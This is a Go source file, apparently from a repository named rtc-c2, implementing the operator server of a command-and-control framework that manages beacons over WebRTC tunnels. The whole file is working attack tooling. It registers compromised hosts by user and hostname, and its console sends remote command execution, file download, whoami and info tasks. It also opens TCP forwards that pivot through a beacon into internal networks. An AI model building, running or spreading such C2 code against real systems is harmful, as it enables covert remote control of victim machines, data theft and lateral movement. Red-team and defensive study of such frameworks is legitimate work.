635 lines
15 KiB
Go
635 lines
15 KiB
Go
// Command operator is the C2 server that tasks beacons through WebRTC tunnels.
|
|
// It provides an interactive console for issuing commands and managing forwards.
|
|
//
|
|
// Direct TCP forward over WebRTC data channels — like SSH -L style
|
|
// port forwarding, but encrypted inside WebRTC DTLS.
|
|
package main
|
|
|
|
import (
|
|
"bufio"
|
|
"context"
|
|
"flag"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/signal"
|
|
"strings"
|
|
"sync"
|
|
"syscall"
|
|
"time"
|
|
|
|
"github.com/pion/webrtc/v4"
|
|
|
|
"github.com/ek0ms/rtc-c2/pkg/protocol"
|
|
"github.com/ek0ms/rtc-c2/pkg/signaller"
|
|
"github.com/ek0ms/rtc-c2/pkg/transport"
|
|
"github.com/ek0ms/rtc-c2/pkg/tunnel"
|
|
)
|
|
|
|
type BeaconSession struct {
|
|
ID string
|
|
Hostname string
|
|
Username string
|
|
OS string
|
|
Arch string
|
|
FirstSeen time.Time
|
|
LastSeen time.Time
|
|
Peer *transport.Peer
|
|
Pending map[string]*protocol.Task
|
|
mu sync.RWMutex
|
|
}
|
|
|
|
type Operator struct {
|
|
mu sync.RWMutex
|
|
peer *transport.Peer
|
|
beaconID string
|
|
beacons map[string]*BeaconSession
|
|
sessions map[string]*BeaconSession
|
|
tunnelBr *tunnel.Bridge
|
|
sigServer *signaller.SignallerServer
|
|
forwards map[string]*tunnel.ForwardListener
|
|
activeBeacon string // currently selected beacon ID
|
|
}
|
|
|
|
func main() {
|
|
var (
|
|
sigAddr = flag.String("sig-addr", ":9090", "Signaller listen address")
|
|
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
|
|
operatorID = flag.String("id", "operator-1", "Operator ID")
|
|
useTURN = flag.Bool("turn", false, "Use TURN relay")
|
|
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
|
|
)
|
|
flag.Parse()
|
|
|
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
|
|
|
op := &Operator{
|
|
beacons: make(map[string]*BeaconSession),
|
|
sessions: make(map[string]*BeaconSession),
|
|
forwards: make(map[string]*tunnel.ForwardListener),
|
|
}
|
|
|
|
// --- Start signaller ---
|
|
op.sigServer = signaller.NewSignallerServer(*sigAddr)
|
|
go func() {
|
|
log.Printf("[operator] signaller on %s", *sigAddr)
|
|
if err := op.sigServer.Start(); err != nil {
|
|
log.Printf("[operator] signaller stopped: %v", err)
|
|
}
|
|
}()
|
|
time.Sleep(200 * time.Millisecond)
|
|
|
|
// --- Configure transport ---
|
|
cfg := transport.DefaultConfig(transport.RoleOperator)
|
|
cfg.PeerID = *operatorID
|
|
|
|
if *useTURN {
|
|
cfg.WithTURN(
|
|
[]string{"turn:127.0.0.1:3478"},
|
|
"rtc-c2",
|
|
"rtc-c2-pass",
|
|
)
|
|
}
|
|
|
|
peer, err := transport.NewPeer(cfg)
|
|
if err != nil {
|
|
log.Fatalf("[operator] create peer: %v", err)
|
|
}
|
|
op.peer = peer
|
|
|
|
// --- Setup signaller connection ---
|
|
var sig signaller.Signaller
|
|
if *wsSignaller {
|
|
sig = signaller.NewWebSocketSignaller(
|
|
fmt.Sprintf("ws://127.0.0.1%s/ws", *sigAddr),
|
|
*sessionKey, "operator",
|
|
)
|
|
log.Printf("[operator] using WebSocket signaller")
|
|
} else {
|
|
sig = signaller.NewHTTPSignaller(
|
|
fmt.Sprintf("http://127.0.0.1%s", *sigAddr),
|
|
*sessionKey, "operator",
|
|
)
|
|
}
|
|
|
|
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
|
|
return sig.SendLocalDescription(sdp)
|
|
}
|
|
|
|
// --- Setup tunnel bridge (direct TCP forward) ---
|
|
op.tunnelBr = tunnel.NewBridge()
|
|
op.tunnelBr.OnData = func(tunnelID tunnel.TunnelID, data []byte) {
|
|
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, *operatorID, map[string]interface{}{
|
|
"tunnel_id": string(tunnelID),
|
|
"data": data,
|
|
})
|
|
if err != nil {
|
|
return
|
|
}
|
|
msg, _ := env.Serialize()
|
|
_ = peer.Send(msg)
|
|
}
|
|
|
|
// --- Handle incoming messages ---
|
|
peer.OnMessage(func(data []byte) {
|
|
env, err := protocol.ParseEnvelope(data)
|
|
if err != nil {
|
|
log.Printf("[operator] parse error: %v", err)
|
|
return
|
|
}
|
|
op.handleMessage(env)
|
|
})
|
|
|
|
peer.OnStateChange(func(evt transport.PeerEvent) {
|
|
log.Printf("[operator] peer state: %s", evt.State)
|
|
})
|
|
|
|
// --- Connect ---
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
defer cancel()
|
|
|
|
log.Printf("[operator] connecting...")
|
|
if err := peer.Connect(ctx); err != nil {
|
|
log.Fatalf("[operator] connect: %v", err)
|
|
}
|
|
|
|
log.Printf("[operator] ready — signaller on %s, session: %s", *sigAddr, *sessionKey)
|
|
log.Printf("[operator] beacon connects with: -signaller %s -session %s",
|
|
fmt.Sprintf("http://<this-ip>%s", *sigAddr), *sessionKey)
|
|
|
|
// --- Interactive console ---
|
|
go op.console()
|
|
defer op.consoleCleanup()
|
|
|
|
// --- Wait for signal ---
|
|
sigCh := make(chan os.Signal, 1)
|
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
|
<-sigCh
|
|
|
|
log.Printf("[operator] shutting down")
|
|
for _, fl := range op.forwards {
|
|
fl.Stop()
|
|
}
|
|
peer.Close()
|
|
op.sigServer.Stop()
|
|
}
|
|
|
|
func (op *Operator) handleMessage(env *protocol.Envelope) {
|
|
switch env.Type {
|
|
case protocol.MsgRegister:
|
|
var reg protocol.RegisterPayload
|
|
if err := env.ExtractPayload(®); err != nil {
|
|
log.Printf("[operator] extract register: %v", err)
|
|
return
|
|
}
|
|
op.handleRegister(reg)
|
|
|
|
case protocol.MsgHeartbeat:
|
|
var hb protocol.HeartbeatPayload
|
|
if err := env.ExtractPayload(&hb); err != nil {
|
|
return
|
|
}
|
|
op.updateHeartbeat(hb)
|
|
|
|
case protocol.MsgTaskResult:
|
|
var result protocol.TaskResult
|
|
if err := env.ExtractPayload(&result); err != nil {
|
|
log.Printf("[operator] extract result: %v", err)
|
|
return
|
|
}
|
|
op.handleTaskResult(env.SenderID, &result)
|
|
|
|
case protocol.MsgPong:
|
|
// latency measurement
|
|
|
|
case protocol.MsgTunnelData:
|
|
var payload struct {
|
|
TunnelID string `json:"tunnel_id"`
|
|
Data []byte `json:"data"`
|
|
}
|
|
if err := env.ExtractPayload(&payload); err != nil {
|
|
log.Printf("[operator] extract tunnel data: %v", err)
|
|
return
|
|
}
|
|
|
|
payloadStr := string(payload.Data)
|
|
if strings.HasPrefix(payloadStr, "OPENED:") {
|
|
log.Printf("[operator] tunnel %s opened -> %s",
|
|
payload.TunnelID, strings.TrimPrefix(payloadStr, "OPENED:"))
|
|
} else if payloadStr == "CLOSED" {
|
|
op.tunnelBr.CloseTunnel(tunnel.TunnelID(payload.TunnelID))
|
|
} else {
|
|
op.tunnelBr.HandleData(tunnel.TunnelID(payload.TunnelID), payload.Data)
|
|
}
|
|
|
|
case protocol.MsgError:
|
|
var errPayload protocol.ErrorPayload
|
|
if err := env.ExtractPayload(&errPayload); err == nil {
|
|
log.Printf("[operator] error from beacon: %s", errPayload.Message)
|
|
}
|
|
|
|
default:
|
|
log.Printf("[operator] unknown message type: %s", env.Type)
|
|
}
|
|
}
|
|
|
|
func (op *Operator) handleRegister(reg protocol.RegisterPayload) {
|
|
op.mu.Lock()
|
|
defer op.mu.Unlock()
|
|
|
|
now := time.Now()
|
|
beaconID := reg.BeaconID
|
|
|
|
if existing, ok := op.beacons[beaconID]; ok {
|
|
existing.LastSeen = now
|
|
existing.Hostname = reg.Hostname
|
|
existing.Username = reg.Username
|
|
existing.OS = reg.OS
|
|
existing.Arch = reg.Arch
|
|
log.Printf("[operator] beacon %s re-registered", beaconID)
|
|
return
|
|
}
|
|
|
|
session := &BeaconSession{
|
|
ID: beaconID,
|
|
Hostname: reg.Hostname,
|
|
Username: reg.Username,
|
|
OS: reg.OS,
|
|
Arch: reg.Arch,
|
|
FirstSeen: now,
|
|
LastSeen: now,
|
|
Pending: make(map[string]*protocol.Task),
|
|
}
|
|
|
|
op.beacons[beaconID] = session
|
|
op.sessions[beaconID] = session
|
|
|
|
log.Printf("[operator] beacon registered: %s (%s@%s) %s/%s",
|
|
beaconID, reg.Username, reg.Hostname, reg.OS, reg.Arch)
|
|
fmt.Printf("\n[+] Beacon connected: %s — %s@%s (%s/%s)\n> ",
|
|
beaconID[:12], reg.Username, reg.Hostname, reg.OS, reg.Arch)
|
|
}
|
|
|
|
func (op *Operator) updateHeartbeat(hb protocol.HeartbeatPayload) {
|
|
op.mu.RLock()
|
|
session, ok := op.beacons[hb.BeaconID]
|
|
op.mu.RUnlock()
|
|
|
|
if !ok {
|
|
return
|
|
}
|
|
|
|
session.mu.Lock()
|
|
session.LastSeen = time.Now()
|
|
session.mu.Unlock()
|
|
}
|
|
|
|
func (op *Operator) handleTaskResult(beaconID string, result *protocol.TaskResult) {
|
|
op.mu.RLock()
|
|
session, ok := op.beacons[beaconID]
|
|
op.mu.RUnlock()
|
|
|
|
if !ok {
|
|
log.Printf("[operator] result from unknown beacon: %s", beaconID)
|
|
return
|
|
}
|
|
|
|
session.mu.Lock()
|
|
delete(session.Pending, result.TaskID)
|
|
session.mu.Unlock()
|
|
|
|
status := "✓"
|
|
if !result.Success {
|
|
status = "✗"
|
|
}
|
|
|
|
fmt.Printf("\n[%s] Task %s %s (exit: %d, %dms)\n",
|
|
beaconID[:12], result.TaskID[:8], status, result.ExitCode, result.Duration)
|
|
if result.Output != "" {
|
|
fmt.Printf("%s\n", result.Output)
|
|
}
|
|
if result.Error != "" {
|
|
fmt.Printf("Error: %s\n", result.Error)
|
|
}
|
|
fmt.Print("> ")
|
|
}
|
|
|
|
func (op *Operator) sendTask(beaconID string, task *protocol.Task) error {
|
|
op.mu.RLock()
|
|
session, ok := op.beacons[beaconID]
|
|
op.mu.RUnlock()
|
|
|
|
if !ok {
|
|
return fmt.Errorf("beacon %s not connected", beaconID)
|
|
}
|
|
|
|
env, err := protocol.NewEnvelope(protocol.MsgTask, op.peer.Config().PeerID, task)
|
|
if err != nil {
|
|
return fmt.Errorf("create envelope: %w", err)
|
|
}
|
|
|
|
msg, err := env.Serialize()
|
|
if err != nil {
|
|
return fmt.Errorf("serialize: %w", err)
|
|
}
|
|
|
|
session.mu.Lock()
|
|
session.Pending[task.ID] = task
|
|
session.mu.Unlock()
|
|
|
|
return op.peer.Send(msg)
|
|
}
|
|
|
|
// --- Console ---
|
|
|
|
func (op *Operator) console() {
|
|
reader := bufio.NewReader(os.Stdin)
|
|
fmt.Println("\n=== rtc-c2 Operator Console ===")
|
|
fmt.Println("Commands: beacons, use <id>, forward <local:port> <remote:port>,")
|
|
fmt.Println(" forwards, stop-forward <local>, exec <cmd>, download <path>,")
|
|
fmt.Println(" info, help, exit")
|
|
fmt.Print("> ")
|
|
|
|
for {
|
|
line, err := reader.ReadString('\n')
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
line = strings.TrimSpace(line)
|
|
if line == "" {
|
|
fmt.Print("> ")
|
|
continue
|
|
}
|
|
|
|
parts := strings.SplitN(line, " ", 2)
|
|
cmd := strings.ToLower(parts[0])
|
|
|
|
switch cmd {
|
|
case "exit", "quit":
|
|
fmt.Println("shutting down...")
|
|
return
|
|
|
|
case "help":
|
|
printHelp()
|
|
|
|
case "beacons", "list":
|
|
op.listBeacons()
|
|
|
|
case "use":
|
|
if len(parts) < 2 {
|
|
fmt.Println("usage: use <beacon-id>")
|
|
break
|
|
}
|
|
beaconID := strings.TrimSpace(parts[1])
|
|
op.activeBeacon = beaconID
|
|
op.useBeacon(beaconID, reader)
|
|
|
|
case "forward":
|
|
if len(parts) < 2 {
|
|
fmt.Println("usage: forward <local:port> <remote:port>")
|
|
fmt.Println(" forward 127.0.0.1:4444 10.0.1.100:80")
|
|
fmt.Println(" forward :8080 internal.service:443")
|
|
break
|
|
}
|
|
args := strings.Fields(parts[1])
|
|
if len(args) < 2 {
|
|
fmt.Println("usage: forward <local> <remote>")
|
|
break
|
|
}
|
|
op.startForward(args[0], args[1])
|
|
|
|
case "forwards":
|
|
op.listForwards()
|
|
|
|
case "stop-forward":
|
|
if len(parts) < 2 {
|
|
fmt.Println("usage: stop-forward <local-addr>")
|
|
break
|
|
}
|
|
op.stopForward(strings.TrimSpace(parts[1]))
|
|
|
|
case "socks":
|
|
fmt.Println("'socks' removed — use 'forward' for direct TCP forwarding")
|
|
|
|
default:
|
|
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
|
|
}
|
|
|
|
fmt.Print("> ")
|
|
}
|
|
}
|
|
|
|
func (op *Operator) startForward(localAddr, remoteAddr string) {
|
|
// Ensure local addr has a port
|
|
if !strings.Contains(localAddr, ":") {
|
|
fmt.Printf("bad local addr: %s (need host:port)\n", localAddr)
|
|
return
|
|
}
|
|
if !strings.Contains(remoteAddr, ":") {
|
|
fmt.Printf("bad remote addr: %s (need host:port)\n", remoteAddr)
|
|
return
|
|
}
|
|
|
|
// Prepend 127.0.0.1 if no explicit host
|
|
if strings.HasPrefix(localAddr, ":") {
|
|
localAddr = "127.0.0.1" + localAddr
|
|
}
|
|
|
|
fl, err := op.tunnelBr.StartForwardListener(localAddr, remoteAddr)
|
|
if err != nil {
|
|
fmt.Printf("forward error: %v\n", err)
|
|
return
|
|
}
|
|
|
|
op.mu.Lock()
|
|
op.forwards[localAddr] = fl
|
|
op.mu.Unlock()
|
|
|
|
fmt.Printf("[+] Forward: %s -> %s (via active beacon)\n", localAddr, remoteAddr)
|
|
}
|
|
|
|
func (op *Operator) listForwards() {
|
|
op.mu.RLock()
|
|
defer op.mu.RUnlock()
|
|
|
|
if len(op.forwards) == 0 {
|
|
fmt.Println("No active forwards")
|
|
return
|
|
}
|
|
|
|
fmt.Println("Active forwards:")
|
|
for local, fl := range op.forwards {
|
|
fmt.Printf(" %s -> %s (via beacon)\n", local, fl.TargetAddr)
|
|
}
|
|
}
|
|
|
|
func (op *Operator) stopForward(localAddr string) {
|
|
op.mu.Lock()
|
|
fl, ok := op.forwards[localAddr]
|
|
delete(op.forwards, localAddr)
|
|
op.mu.Unlock()
|
|
|
|
if !ok {
|
|
fmt.Printf("no forward on %s\n", localAddr)
|
|
return
|
|
}
|
|
|
|
fl.Stop()
|
|
fmt.Printf("[-] Forward stopped: %s\n", localAddr)
|
|
}
|
|
|
|
func (op *Operator) useBeacon(beaconID string, reader *bufio.Reader) {
|
|
op.mu.RLock()
|
|
session, ok := op.beacons[beaconID]
|
|
op.mu.RUnlock()
|
|
|
|
if !ok {
|
|
// Try prefix match
|
|
for id, s := range op.beacons {
|
|
if len(id) >= len(beaconID) && id[:len(beaconID)] == beaconID {
|
|
session = s
|
|
beaconID = id
|
|
ok = true
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
if !ok {
|
|
fmt.Printf("beacon '%s' not found\n", beaconID)
|
|
return
|
|
}
|
|
|
|
op.activeBeacon = beaconID
|
|
fmt.Printf("[+] Using beacon %s (%s@%s)\n", beaconID[:12], session.Username, session.Hostname)
|
|
fmt.Println(" Commands: exec <cmd>, info, download <path>, whoami, back")
|
|
fmt.Print(" > ")
|
|
|
|
for {
|
|
line, err := reader.ReadString('\n')
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
line = strings.TrimSpace(line)
|
|
if line == "" {
|
|
fmt.Print(" > ")
|
|
continue
|
|
}
|
|
|
|
if line == "back" || line == "exit" {
|
|
return
|
|
}
|
|
|
|
parts := strings.SplitN(line, " ", 2)
|
|
subCmd := strings.ToLower(parts[0])
|
|
|
|
switch subCmd {
|
|
case "exec", "run":
|
|
if len(parts) < 2 {
|
|
fmt.Println("usage: exec <command>")
|
|
break
|
|
}
|
|
cmdName := strings.TrimSpace(parts[1])
|
|
go func() {
|
|
task, err := protocol.NewTask(protocol.TaskExec, &protocol.ExecArgs{
|
|
Command: cmdName,
|
|
})
|
|
if err != nil {
|
|
fmt.Printf("create task error: %v\n", err)
|
|
return
|
|
}
|
|
if err := op.sendTask(beaconID, task); err != nil {
|
|
fmt.Printf("send task error: %v\n", err)
|
|
return
|
|
}
|
|
fmt.Printf("[*] Task %s sent to %s\n", task.ID[:8], beaconID[:12])
|
|
}()
|
|
|
|
case "info":
|
|
task, _ := protocol.NewTask(protocol.TaskInfo, nil)
|
|
_ = op.sendTask(beaconID, task)
|
|
fmt.Printf("[*] Info request sent\n")
|
|
|
|
case "whoami":
|
|
task, _ := protocol.NewTask(protocol.TaskWhoami, nil)
|
|
_ = op.sendTask(beaconID, task)
|
|
fmt.Printf("[*] Whoami request sent\n")
|
|
|
|
case "download":
|
|
if len(parts) < 2 {
|
|
fmt.Println("usage: download <path>")
|
|
break
|
|
}
|
|
path := strings.TrimSpace(parts[1])
|
|
task, err := protocol.NewTask(protocol.TaskDownload, &protocol.DownloadArgs{
|
|
RemotePath: path,
|
|
})
|
|
if err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
break
|
|
}
|
|
_ = op.sendTask(beaconID, task)
|
|
fmt.Printf("[*] Download request for %s sent\n", path)
|
|
|
|
default:
|
|
fmt.Println("commands: exec <cmd>, info, whoami, download <path>, back")
|
|
}
|
|
|
|
fmt.Print(" > ")
|
|
}
|
|
}
|
|
|
|
func (op *Operator) listBeacons() {
|
|
op.mu.RLock()
|
|
defer op.mu.RUnlock()
|
|
|
|
if len(op.beacons) == 0 {
|
|
fmt.Println("No beacons connected. Waiting...")
|
|
return
|
|
}
|
|
|
|
fmt.Printf("Connected beacons (%d):\n", len(op.beacons))
|
|
fmt.Println(strings.Repeat("-", 60))
|
|
fmt.Printf("%-24s %-16s %-8s %-8s\n", "Beacon ID", "User@Host", "OS", "Arch")
|
|
fmt.Println(strings.Repeat("-", 60))
|
|
|
|
for _, s := range op.beacons {
|
|
id := s.ID
|
|
if len(id) > 12 {
|
|
id = id[:12] + "..."
|
|
}
|
|
userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname)
|
|
fmt.Printf("%-24s %-16s %-8s %-8s\n", id, userHost, s.OS, s.Arch)
|
|
}
|
|
}
|
|
|
|
func printHelp() {
|
|
fmt.Print(`
|
|
Commands:
|
|
beacons List connected beacons
|
|
use <id> Interactive beacon session
|
|
forward <local> <remote> Direct TCP forward (SSH -L style)
|
|
Example: forward 127.0.0.1:4444 10.0.1.100:80
|
|
forwards List active forwards
|
|
stop-forward <local> Stop a forward listener
|
|
help Show this help
|
|
exit Shut down
|
|
|
|
Beacon session commands:
|
|
exec <cmd> Run command on beacon
|
|
info Get system info
|
|
whoami Get user identity
|
|
download <path> Download file from beacon
|
|
back Return to main menu
|
|
|
|
Example: forward 127.0.0.1:4444 internal.service:80
|
|
curl http://127.0.0.1:4444/path
|
|
`)
|
|
}
|
|
|
|
func (op *Operator) consoleCleanup() {
|
|
fmt.Print("\nShutting down...\n")
|
|
}
|